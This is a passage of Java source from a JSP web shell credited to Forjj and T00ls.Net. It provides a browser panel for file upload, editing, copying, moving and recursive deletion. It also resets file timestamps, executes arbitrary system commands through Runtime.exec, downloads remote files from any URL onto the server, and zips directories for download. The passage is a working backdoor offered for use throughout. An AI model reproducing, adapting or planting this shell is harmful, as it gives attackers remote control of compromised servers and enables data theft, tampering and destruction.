  1490. JSession.invalidate();
  1491. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1492. } catch (Exception e) {
  1493.  
  1494. throw e ;
  1495. }
  1496. }
  1497. }
  1498. private static class UploadInvoker extends DefaultInvoker {
  1499. public boolean doBefore() {return false;}
  1500. public boolean doAfter() {return false;}
  1501. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1502. try {
  1503. UploadBean fileBean = new UploadBean();
  1504. response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
  1505. fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
  1506. fileBean.parseRequest(request);
  1507. File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName());
  1508. if (f.exists() && f.length() > 0)
  1509. JSession.setAttribute(MSG,"<span style='color:green'>Upload File Success!</span>");
  1510. else
  1511. JSession.setAttribute("MSG","<span style='color:red'>Upload File Failed!</span>");
  1512. response.sendRedirect(SHELL_NAME);
  1513. } catch (Exception e) {
  1514. throw e ;
  1515. }
  1516. }
  1517. }
  1518. private static class CopyInvoker extends DefaultInvoker {
  1519. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1520. try {
  1521. String src = request.getParameter("src");
  1522. String to = request.getParameter("to");
  1523. InputStream in = null;
  1524. Object enter = JSession.getAttribute(ENTER);
  1525. if (enter == null)
  1526. in = new FileInputStream(new File(src));
  1527. else {
  1528. ZipFile zf = new ZipFile((String)enter);
  1529. ZipEntry entry = zf.getEntry(src);
  1530. in = zf.getInputStream(entry);
  1531. }
  1532. BufferedInputStream input = new BufferedInputStream(in);
  1533. BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
  1534. byte[] d = new byte[1024];
  1535. int len = input.read(d);
  1536. while(len != -1) {
  1537. output.write(d,0,len);
  1538. len = input.read(d);
  1539. }
  1540. output.close();
  1541. input.close();
  1542. JSession.setAttribute(MSG,"Copy File Success!");
  1543. response.sendRedirect(SHELL_NAME);
  1544. } catch (Exception e) {
  1545.  
  1546. throw e ;
  1547. }
  1548. }
  1549. }
  1550. private static class BottomInvoker extends DefaultInvoker {
  1551. public boolean doBefore() {return false;}
  1552. public boolean doAfter() {return false;}
  1553. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1554. try {
  1555. response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2010 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a>&nbsp;&nbsp;<a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
  1556. "</div>");
  1557. } catch (Exception e) {
  1558.  
  1559. throw e ;
  1560. }
  1561. }
  1562. }
  1563. private static class VCreateFileInvoker extends DefaultInvoker {
  1564. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1565. try {
  1566. PrintWriter out = response.getWriter();
  1567. String path = request.getParameter("filepath");
  1568. File f = new File(path);
  1569. if (!f.isAbsolute()) {
  1570. String oldPath = path;
  1571. path = JSession.getAttribute(CURRENT_DIR).toString();
  1572. if (!path.endsWith("/"))
  1573. path+="/";
  1574. path+=oldPath;
  1575. f = new File(path);
  1576. f.createNewFile();
  1577. } else {
  1578. f.createNewFile();
  1579. }
  1580. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1581. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1582. "<h2>Create / Edit File &raquo;</h2>"+
  1583. "<input type='hidden' name='o' value='createFile'>"+
  1584. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1585. " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
  1586. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
  1587. "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1588. "</form>"+
  1589. "</td></tr></table>");
  1590. } catch (Exception e) {
  1591.  
  1592. throw e ;
  1593. }
  1594. }
  1595. }
  1596. private static class VEditInvoker extends DefaultInvoker {
  1597. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1598. try {
  1599. PrintWriter out = response.getWriter();
  1600. String path = request.getParameter("filepath");
  1601. String charset = request.getParameter("charset");
  1602. Object enter = JSession.getAttribute(ENTER);
  1603. InputStream input = null;
  1604. if (enter != null) {
  1605. ZipFile zf = new ZipFile((String)enter);
  1606. ZipEntry entry = new ZipEntry(path);
  1607. input = zf.getInputStream(entry);
  1608. } else {
  1609. File f = new File(path);
  1610. if (!f.exists())
  1611. return;
  1612. input = new FileInputStream(path);
  1613. }
  1614.  
  1615. BufferedReader reader = null;
  1616. if (Util.isEmpty(charset) || charset.equals("ANSI"))
  1617. reader = new BufferedReader(new InputStreamReader(input));
  1618. else
  1619. reader = new BufferedReader(new InputStreamReader(input,charset));
  1620. StringBuffer content = new StringBuffer();
  1621. String s = reader.readLine();
  1622. while (s != null) {
  1623. content.append(s+"\r\n");
  1624. s = reader.readLine();
  1625. }
  1626. reader.close();
  1627. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1628. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1629. "<h2>Create / Edit File &raquo;</h2>"+
  1630. "<input type='hidden' name='o' value='createFile'>"+
  1631. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1632. " <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
  1633. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
  1634. "<p>");
  1635. if (enter != null)
  1636. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
  1637. else
  1638. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
  1639. out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1640. "</form>"+
  1641. "</td></tr></table>");
  1642.  
  1643. } catch (Exception e) {
  1644.  
  1645. throw e ;
  1646. }
  1647. }
  1648. }
  1649. private static class CreateFileInvoker extends DefaultInvoker {
  1650. public boolean doBefore(){return false;}
  1651. public boolean doAfter(){return false;}
  1652. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1653. try {
  1654. PrintWriter out = response.getWriter();
  1655. String path = request.getParameter("filepath");
  1656. String content = request.getParameter("filecontent");
  1657. String charset = request.getParameter("charset");
  1658. BufferedWriter outs = null;
  1659. if (charset.equals("ANSI"))
  1660. outs = new BufferedWriter(new FileWriter(new File(path)));
  1661. else
  1662. outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
  1663. outs.write(content,0,content.length());
  1664. outs.close();
  1665. JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
  1666. response.sendRedirect(SHELL_NAME);
  1667. } catch (Exception e) {
  1668.  
  1669. throw e ;
  1670. }
  1671. }
  1672. }
  1673. private static class VEditPropertyInvoker extends DefaultInvoker {
  1674. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1675. try {
  1676. PrintWriter out = response.getWriter();
  1677. String filepath = request.getParameter("filepath");
  1678. File f = new File(filepath);
  1679. if (!f.exists())
  1680. return;
  1681. String read = f.canRead() ? "checked=\"checked\"" : "";
  1682. String write = f.canWrite() ? "checked=\"checked\"" : "";
  1683. Calendar cal = Calendar.getInstance();
  1684. cal.setTimeInMillis(f.lastModified());
  1685.  
  1686. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1687. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1688. "<h2>Set File Property &raquo;</h2>"+
  1689. "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
  1690. "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
  1691. "<p>"+
  1692. " <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
  1693. " <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
  1694. "</p>"+
  1695. "<p>Instead &raquo;"+
  1696. "year:"+
  1697. "<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
  1698. "month:"+
  1699. "<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
  1700. "day:"+
  1701. "<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
  1702. ""+
  1703. "hour:"+
  1704. "<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
  1705. "minute:"+
  1706. "<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
  1707. "second:"+
  1708. "<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
  1709. "</p>"+
  1710. "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
  1711. "</form>"+
  1712. "</td></tr></table>");
  1713. } catch (Exception e) {
  1714. throw e ;
  1715. }
  1716. }
  1717. }
  1718. private static class EditPropertyInvoker extends DefaultInvoker {
  1719. public boolean doBefore(){return false;}
  1720. public boolean doAfter(){return false;}
  1721. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1722. try {
  1723. String f = request.getParameter("file");
  1724. File file = new File(f);
  1725. if (!file.exists())
  1726. return;
  1727.  
  1728. String year = request.getParameter("year");
  1729. String month = request.getParameter("month");
  1730. String date = request.getParameter("date");
  1731. String hour = request.getParameter("hour");
  1732. String minute = request.getParameter("minute");
  1733. String second = request.getParameter("second");
  1734.  
  1735. Calendar cal = Calendar.getInstance();
  1736. cal.set(Calendar.YEAR,Integer.parseInt(year));
  1737. cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
  1738. cal.set(Calendar.DATE,Integer.parseInt(date));
  1739. cal.set(Calendar.HOUR,Integer.parseInt(hour));
  1740. cal.set(Calendar.MINUTE,Integer.parseInt(minute));
  1741. cal.set(Calendar.SECOND,Integer.parseInt(second));
  1742. if(file.setLastModified(cal.getTimeInMillis())){
  1743. JSession.setAttribute(MSG,"Reset File Property Success!");
  1744. } else {
  1745. JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
  1746. }
  1747. response.sendRedirect(SHELL_NAME);
  1748. } catch (Exception e) {
  1749.  
  1750. throw e ;
  1751. }
  1752. }
  1753. }
  1754. //VShell
  1755. private static class VsInvoker extends DefaultInvoker{
  1756. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1757. try {
  1758. PrintWriter out = response.getWriter();
  1759. String cmd = request.getParameter("command");
  1760. String program = request.getParameter("program");
  1761. if (cmd == null) {
  1762. if (ISLINUX)
  1763. cmd = "id";
  1764. else
  1765. cmd = "cmd.exe /c set";
  1766. }
  1767. if (program == null)
  1768. program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
  1769. if (JSession.getAttribute(MSG)!=null) {
  1770. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  1771. JSession.removeAttribute(MSG);
  1772. }
  1773. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1774. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1775. "<h2>Execute Program &raquo;</h2>"+
  1776. "<p>"+
  1777. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1778. "<input type=\"hidden\" name=\"type\" value=\"program\">"+
  1779. "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
  1780. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1781. "</p>"+
  1782. "</form>"+
  1783. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1784. "<h2>Execute Shell &raquo;</h2>"+
  1785. "<p>"+
  1786. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1787. "<input type=\"hidden\" name=\"type\" value=\"command\">"+
  1788. "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
  1789. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1790. "</p>"+
  1791. "</form>"+
  1792. "</td>"+
  1793. "</tr></table>");
  1794. } catch (Exception e) {
  1795.  
  1796. throw e ;
  1797. }
  1798. }
  1799. }
  1800. private static class ShellInvoker extends DefaultInvoker{
  1801. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1802. try {
  1803. PrintWriter out = response.getWriter();
  1804. String type = request.getParameter("type");
  1805. if (type.equals("command")) {
  1806. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1807. out.println("<div style='margin:10px'><hr/>");
  1808. out.println("<pre>");
  1809. String command = request.getParameter("command");
  1810. if (!Util.isEmpty(command)) {
  1811. Process pro = Runtime.getRuntime().exec(command);
  1812. BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
  1813. String s = reader.readLine();
  1814. while (s != null) {
  1815. out.println(Util.htmlEncode(Util.getStr(s)));
  1816. s = reader.readLine();
  1817. }
  1818. reader.close();
  1819. reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
  1820. s = reader.readLine();
  1821. while (s != null) {
  1822. out.println(Util.htmlEncode(Util.getStr(s)));
  1823. s = reader.readLine();
  1824. }
  1825. reader.close();
  1826. out.println("</pre></div>");
  1827. }
  1828. } else {
  1829. String program = request.getParameter("program");
  1830. if (!Util.isEmpty(program)) {
  1831. Process pro = Runtime.getRuntime().exec(program);
  1832. JSession.setAttribute(MSG,"Program Has Run Success!");
  1833. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1834. }
  1835. }
  1836. } catch (Exception e) {
  1837.  
  1838. throw e ;
  1839. }
  1840. }
  1841. }
  1842. private static class DownInvoker extends DefaultInvoker{
  1843. public boolean doBefore(){return false;}
  1844. public boolean doAfter(){return false;}
  1845. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1846. try {
  1847. String path = request.getParameter("path");
  1848. if (Util.isEmpty(path))
  1849. return;
  1850. InputStream i = null;
  1851. Object enter = JSession.getAttribute(ENTER);
  1852. String fileName = null;
  1853. if (enter == null) {
  1854. File f = new File(path);
  1855. if (!f.exists())
  1856. return;
  1857. fileName = f.getName();
  1858. i = new FileInputStream(f);
  1859. } else {
  1860. ZipFile zf = new ZipFile((String)enter);
  1861. ZipEntry entry = new ZipEntry(path);
  1862. fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
  1863. i = zf.getInputStream(entry);
  1864. }
  1865. response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
  1866. BufferedInputStream input = new BufferedInputStream(i);
  1867. BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
  1868. byte[] data = new byte[1024];
  1869. int len = input.read(data);
  1870. while (len != -1) {
  1871. output.write(data,0,len);
  1872. len = input.read(data);
  1873. }
  1874. input.close();
  1875. output.close();
  1876. } catch (Exception e) {
  1877.  
  1878. throw e ;
  1879. }
  1880. }
  1881. }
  1882. //VDown
  1883. private static class VdInvoker extends DefaultInvoker {
  1884. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1885. try {
  1886. PrintWriter out = response.getWriter();
  1887. String savepath = request.getParameter("savepath");
  1888. String url = request.getParameter("url");
  1889. if (Util.isEmpty(url))
  1890. url = "http://www.forjj.com/";
  1891. if (Util.isEmpty(savepath)) {
  1892. savepath = JSession.getAttribute(CURRENT_DIR).toString();
  1893. }
  1894. if (!Util.isEmpty(JSession.getAttribute("done"))) {
  1895. Util.outMsg(out,"Download Remote File Success!");
  1896. JSession.removeAttribute("done");
  1897. }
  1898. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1899. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1900. "<h2>Remote File DownLoad &raquo;</h2>"+
  1901. "<p>"+
  1902. "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
  1903. "<p>File&nbsp;&nbsp;&nbsp;URL: "+
  1904. " <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
  1905. "<p>Save Path: "+
  1906. "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
  1907. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
  1908. "</p>"+
  1909. "</form></table>");
  1910. } catch (Exception e) {
  1911.  
  1912. throw e ;
  1913. }
  1914. }
  1915. }
  1916. private static class DownRemoteInvoker extends DefaultInvoker {
  1917. public boolean doBefore(){return true;}
  1918. public boolean doAfter(){return true;}
  1919. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1920. try {
  1921. String downFileUrl = request.getParameter("url");
  1922. String savePath = request.getParameter("savepath");
  1923. if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
  1924. return;
  1925. URL downUrl = new URL(downFileUrl);
  1926. URLConnection conn = downUrl.openConnection();
  1927.  
  1928. File tempF = new File(savePath);
  1929. File saveF = tempF;
  1930. if (tempF.isDirectory()) {
  1931. String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
  1932. saveF = new File(tempF,fName);
  1933. }
  1934. BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
  1935. BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
  1936. byte[] data = new byte[1024];
  1937. int len = in.read(data);
  1938. while (len != -1) {
  1939. out.write(data,0,len);
  1940. len = in.read(data);
  1941. }
  1942. in.close();
  1943. out.close();
  1944. JSession.setAttribute("done","d");
  1945. ((Invoker)ins.get("vd")).invoke(request,response,JSession);
  1946. } catch (Exception e) {
  1947.  
  1948. throw e ;
  1949. }
  1950. }
  1951. }
  1952. private static class IndexInvoker extends DefaultInvoker {
  1953. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1954. try {
  1955. ((Invoker)ins.get("filelist")).invoke(request,response,JSession);
  1956. } catch (Exception e) {
  1957.  
  1958. throw e ;
  1959. }
  1960. }
  1961. }
  1962. private static class MkDirInvoker extends DefaultInvoker {
  1963. public boolean doBefore(){return false;}
  1964. public boolean doAfter(){return false;}
  1965. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1966. try {
  1967. String name = request.getParameter("name");
  1968. File f = new File(name);
  1969. if (!f.isAbsolute()) {
  1970. String path = JSession.getAttribute(CURRENT_DIR).toString();
  1971. if (!path.endsWith("/"))
  1972. path += "/";
  1973. path += name;
  1974. f = new File(path);
  1975. }
  1976. f.mkdirs();
  1977. JSession.setAttribute(MSG,"Make Directory Success!");
  1978. response.sendRedirect(SHELL_NAME);
  1979. } catch (Exception e) {
  1980.  
  1981. throw e ;
  1982. }
  1983. }
  1984. }
  1985. private static class MoveInvoker extends DefaultInvoker {
  1986. public boolean doBefore(){return false;}
  1987. public boolean doAfter(){return false;}
  1988. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1989. try {
  1990. PrintWriter out = response.getWriter();
  1991. String src = request.getParameter("src");
  1992. String target = request.getParameter("to");
  1993. if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
  1994. File file = new File(src);
  1995. if(file.renameTo(new File(target))) {
  1996. JSession.setAttribute(MSG,"Move File Success!");
  1997. } else {
  1998. String msg = "Move File Failed!";
  1999. if (file.isDirectory()) {
  2000. msg += "The Move Will Failed When The Directory Is Not Empty.";
  2001. }
  2002. JSession.setAttribute(MSG,msg);
  2003. }
  2004. response.sendRedirect(SHELL_NAME);
  2005. }
  2006. } catch (Exception e) {
  2007.  
  2008. throw e ;
  2009. }
  2010. }
  2011. }
  2012. private static class RemoveDirInvoker extends DefaultInvoker {
  2013. public boolean doBefore(){return false;}
  2014. public boolean doAfter(){return false;}
  2015. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2016. try {
  2017. String dir = request.getParameter("dir");
  2018. File file = new File(dir);
  2019. if (file.exists()) {
  2020. deleteFile(file);
  2021. deleteDir(file);
  2022. }
  2023.  
  2024. JSession.setAttribute(MSG,"Remove Directory Success!");
  2025. response.sendRedirect(SHELL_NAME);
  2026. } catch (Exception e) {
  2027.  
  2028. throw e ;
  2029. }
  2030. }
  2031. public void deleteFile(File f) {
  2032. if (f.isFile()) {
  2033. f.delete();
  2034. }else {
  2035. File[] list = f.listFiles();
  2036. for (int i = 0;i<list.length;i++) {
  2037. File ff=list[i];
  2038. deleteFile(ff);
  2039. }
  2040. }
  2041. }
  2042. public void deleteDir(File f) {
  2043. File[] list = f.listFiles();
  2044. if (list.length == 0) {
  2045. f.delete();
  2046. } else {
  2047. for (int i = 0;i<list.length;i++) {
  2048. File ff=list[i];
  2049. deleteDir(ff);
  2050. }
  2051. deleteDir(f);
  2052. }
  2053. }
  2054. }
  2055. private static class PackBatchInvoker extends DefaultInvoker{
  2056. public boolean doBefore(){return false;}
  2057. public boolean doAfter(){return false;}
  2058. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2059. try {
  2060. String files = request.getParameter("files");
  2061. if (Util.isEmpty(files))
  2062. return;
  2063. String saveFileName = request.getParameter("savefilename");
  2064. File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2065. if (saveF.exists()) {
  2066. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2067. response.sendRedirect(SHELL_NAME);
  2068. return;
  2069. }
  2070. ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2071. String[] arr = files.split(",");
  2072. for (int i = 0;i<arr.length;i++) {
  2073. String f=arr[i];
  2074. File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
  2075. ZipEntry entry = new ZipEntry(pF.getName());
  2076. zout.putNextEntry(entry);
  2077. FileInputStream fInput = new FileInputStream(pF);
  2078. int len = 0;
  2079. byte[] buf = new byte[1024];
  2080. while ((len = fInput.read(buf)) != -1) {
  2081. zout.write(buf, 0, len);
  2082. zout.flush();
  2083. }
  2084. fInput.close();
  2085. }
  2086. zout.close();
  2087. JSession.setAttribute(MSG,"Pack Files Success!");
  2088. response.sendRedirect(SHELL_NAME);
  2089. } catch (Exception e) {
  2090.  
  2091. throw e;
  2092. }
  2093. }
  2094. }
  2095. private static class VPackConfigInvoker extends DefaultInvoker{
  2096. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2097. try {
  2098. PrintWriter out = response.getWriter();
  2099. String packfile = request.getParameter("packedfile");
  2100. String currentd = JSession.getAttribute(CURRENT_DIR).toString();
  2101. out.println("<form action='"+SHELL_NAME+"' method='post'>"+
  2102. "<input type='hidden' name='o' value='pack'/>"+
  2103. "<input type='hidden' name='config' value='true'/>"+
  2104. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2105. " <tr>"+
  2106. " <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"+
  2107. " <div id=\"hOWTm\">"+
  2108. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2109. " <tr align=\"center\">"+
  2110. " <td style=\"width:5%\"></td>"+
  2111. " <td align=\"center\"><table border=\"0\">"+
  2112. " <tr>"+
  2113. " <td>Packed Dir</td>"+
  2114. " <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
  2115. " </tr>"+
  2116. " <tr>"+
  2117. " <td>Save To</td>"+
  2118. " <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
  2119. " </tr>"+
  2120. " <tr>"+
  2121. " <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
  2122. " <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
  2123. " <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
  2124. " </fieldset></td>"+
  2125. " </tr>"+
  2126. " <tr>"+
  2127. " <td>Filesize Filter</td>"+
  2128. " <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
  2129. " <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
  2130. " </tr>"+
  2131. " <tr>"+
  2132. " <td>Exclude Dir</td>"+
  2133. " <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
  2134. " </tr>"+
  2135. " </table></td>"+
  2136. " </tr>"+
  2137. " <tr align=\"center\">"+
  2138. " <td colspan=\"2\">"+
  2139. " <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
  2140. " </td>"+
  2141. " </tr>"+
  2142. " </table>"+
  2143. " </div></td>"+
  2144. " </tr>"+
  2145. " </table></form>"
  2146. );
  2147. } catch (Exception e) {
  2148.  
  2149. throw e;
  2150. }
  2151. }
  2152. }
  2153. private static class PackInvoker extends DefaultInvoker {
  2154. public boolean doBefore(){return false;}
  2155. public boolean doAfter(){return false;}
  2156. private boolean config = false;
  2157. private String extFilter = "blacklist";
  2158. private String[] fileExts = null;
  2159. private String sizeFilter = "no";
  2160. private int filesize = 0;
  2161. private String[] exclude = null;
  2162. private String packFile = null;
  2163. private void reset(){
  2164. this.config = false;
  2165. this.extFilter = "blacklist";
  2166. this.fileExts = null;
  2167. this.sizeFilter = "no";
  2168. this.filesize = 0;
  2169. this.exclude = null;
  2170. this.packFile = null;
  2171. }
  2172. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2173. try {
  2174. String config = request.getParameter("config");
  2175. if (!Util.isEmpty(config) && config.equals("true")) {
  2176. this.config = true;
  2177. this.extFilter = request.getParameter("extfilter");
  2178. this.fileExts = request.getParameter("fileext").split(",");
  2179. this.sizeFilter = request.getParameter("sizefilter");
  2180. this.filesize = Integer.parseInt(request.getParameter("filesize"));
  2181. this.exclude = request.getParameter("exclude").split(",");
  2182. }
  2183. String packedFile = request.getParameter("packedfile");
  2184. if (Util.isEmpty(packedFile))
  2185. return;
  2186. this.packFile = packedFile;
  2187. String saveFileName = request.getParameter("savefilename");
  2188. File saveF = null;
  2189. if (this.config)
  2190. saveF = new File(saveFileName);
  2191. else
  2192. saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2193. if (saveF.exists()) {
  2194. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2195. response.sendRedirect(SHELL_NAME);
  2196. return;
  2197. }
  2198. File pF = new File(packedFile);
  2199. ZipOutputStream zout = null;
  2200. String base = "";
  2201. if (pF.isDirectory()) {
  2202. if (pF.listFiles().length == 0) {
  2203. JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
  2204. response.sendRedirect(SHELL_NAME);
  2205. this.reset();
  2206. return;
  2207. }
  2208. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2209. zipDir(pF,base,zout);
  2210. } else {
  2211. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2212. zipFile(pF,base,zout);
  2213. }
  2214. zout.close();
  2215. this.reset();
  2216. JSession.setAttribute(MSG,"Pack File Success!");
